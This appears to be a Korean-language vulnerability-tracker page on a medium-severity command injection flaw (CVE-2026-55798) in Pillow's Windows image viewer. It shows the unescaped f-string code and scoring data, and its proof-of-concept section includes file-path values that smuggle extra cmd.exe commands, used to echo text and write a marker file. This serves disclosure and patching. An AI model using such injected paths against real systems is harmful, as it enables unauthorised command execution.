Kestrel
대시보드로 돌아가기
CVE-2026-55798MEDIUM· 4.5MITRENVDGHSA대응게시일: 2026. 07. 06.수정일: 2026. 07. 20.

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

RCE

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
4.5medium

이론적 심각도 점수

EPSS
0.2%상위 92.5%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

· KEV 미등재 · 자동화 어려움 · 부분 영향 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로
공격 벡터로컬
공격 복잡도높음
필요 권한불필요
사용자 상호작용필요
범위불변
영향
기밀성 영향낮음
무결성 영향낮음
가용성 영향낮음
버전별 점수
CVSS 3.14.5MODERATE
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

상세 설명

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

python
1class WindowsViewer(Viewer):
2 format = "PNG"
3 options = {"compress_level": 1, "save_all": True}
4
5 def get_command(self, file: str, **options: Any) -> str:
6 return (
7 f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
8 "&& ping -n 4 127.0.0.1 >NUL "
9 f'&& del /f "{file}"' # ← same path, unescaped again
10 )
11
12 def show_file(self, path: str, **options: Any) -> int:
13 if not os.path.exists(path):
14 raise FileNotFoundError
15 subprocess.Popen(
16 self.get_command(path, **options),
17 shell=True, # ← shell=True
18 creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
19 ) # nosec # ← Bandit warning suppressed manually
20 return 1

Contrast with macOS — SAFE (line 164–168):

python
1class MacViewer(Viewer):
2 def get_command(self, file: str, **options: Any) -> str:
3 command = "open -a Preview.app"
4 command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
5 return command # ← shlex.quote() applied

Cross-platform summary:

PlatformClassshlex.quote()?shell=True?Safe?
macOSMacViewerYes (line 168)No (list args)✅ Yes
LinuxUnixViewerYes (line 207)No (list args)✅ Yes
WindowsWindowsViewerNo (line 134–137)Yes (line 148)❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

bash
1from PIL.ImageShow import WindowsViewer
2
3viewer = WindowsViewer()
4evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
5cmd = viewer.get_command(evil_path)
6print(cmd)
7# Output:
8# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
9# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
10# ├─ & echo PWNED → INJECTED COMMAND
11# └─ & echo "" && ping ... → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

python
1import os, tempfile
2from PIL.ImageShow import WindowsViewer
3
4viewer = WindowsViewer()
5poc_dir = tempfile.mkdtemp()
6marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
7
8# Craft injection: payload writes a marker file (harmless)
9payload = f'echo REAL_INJECTED > "{marker}"'
10evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
11
12# Call the REAL Pillow get_command():
13real_cmd = viewer.get_command(evil_path)
14
15# Execute the same way the base Viewer.show_file() does (os.system):
16os.system(real_cmd)
17
18assert os.path.exists(marker) # PASSES — marker was created
19assert "REAL_INJECTED" in open(marker).read() # PASSES
20# → CONFIRMED: arbitrary command injection via get_command()

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.